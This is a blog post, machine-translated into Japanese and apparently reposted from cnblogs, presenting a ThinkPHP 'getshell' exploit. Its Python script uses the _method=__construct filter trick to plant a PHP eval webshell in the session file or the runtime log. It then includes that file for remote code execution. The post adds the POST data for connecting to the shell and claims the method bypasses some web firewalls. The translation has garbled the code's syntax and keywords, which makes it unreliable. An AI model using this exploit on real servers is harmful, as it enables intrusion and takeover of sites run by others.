thinkphp-getshellバイパス

 

 

何年も前に書かれたテストでは、主にセッションのログを使用するgetshellまたはthinkphp //攻撃テストを使用しない 

インポートリクエスト
インポート時間
インポートsys 
def session_write(url):
    fuck = {'_method': '__construct'、 'filter []': 'think \ Session :: set'、 'method': 'get'、
            'get [] ': "<?php @eval($ _ POST [' x '])?>"、' server [] ':' 1 '} 
    res = requests.post(url、cookies = {' PHPSESSID ':' 9enl96jhqjhvuj37t0m6aluule '} 、data = fuck、headers = {'User-Agent': 'Mozilla / 5.0(Macintosh; BaiduSpider)'})
    fuckshell = {'_method': '__construct'、 'filter []': 'think \ __ include_file'、 'メソッド ':' get '、
            ' server [REQUEST_METHOD] ':' / tmp / sess_9enl96jhqjhvuj37t0m6aluule '、' x ':'print(2020202020); '} print(2020202020); '} 
    res = requests.post(url、cookies = {' PHPSESSID ':' 9enl96jhqjhvuj37t0m6aluule '}、data = fuckshell、
                        headers = {' User-Agent ':' Mozilla / 5.0(Macintosh; BaiduSpider) '})
    return res.text 

def log_shell(url): 
    day = '../data/runtime/log/'+time.strftime("%Y%m/%d.log " 、time.localtime())
    print day 
    fuck = {'_method': '__construct'、 'filter []': 'call_user_func'、 'method': 'get'、 'get []': "<?php @eval ($ _POST ['x'])?> "、 'server []': '1'} 
    res = requests.post(url、cookies = {'PHPSESSID': '9enl96jhqjhvuj37t0m6aluule'}、data = fuck、headers = { 'User-Agent': 'Mozilla / 5.0(Macintosh; BaiduSpider)'})
    fuckshell = {'_method': '__construct'、 'filter []': 'think \ __ include_file'、 'method': 'get'、
            'server [REQUEST_METHOD]':day、 'x': 'print(2020202020);'} 
    res = requests.post(url、cookies = {'PHPSESSID': '9enl96jhqjhvuj37t0m6aluule'}、data = fuckshell、} 
                        headers = {'User-Agent': 'Mozilla / 5.0(Macintosh; BaiduSpider)'})
sys.argv [1]の場合はres.textを
    返します:
    url = sys.argv [1] + 'index.php?s = captcha ' 
else: 
    exit( "exp.py http:// xxxx")
if '20202020' session_write(url):
    print "shell ok session shell" 
elif '20202020' in log_shell(url):
    print "shell ok log shell" 
else:
    print "bad"

使用する: 

 

 直接アドレスを入力し、キーを1つだけ...

 

ブログは主に個人的なメモを取ることです。   

 

接続方法:

 

 

 

 

 

 投稿データ

_method = __ construct&filter [] = think \ __ include_file&method = get&server [REQUEST_METHOD] = / tmp / sess_9enl96jhqjhvuj37t0m6aluule

  

 

利点:一部のwafをバイパスすると、文のペイロードを変更できます

   ルートディレクトリが書き込み可能でない場合は、含める方が便利です。

 

セッションのgetshellが失敗した場合は、thinkphpログを使用しようとします。これはエコーされ、テスト+変更するだけです。

おすすめ

転載: www.cnblogs.com/0xdd/p/12716972.html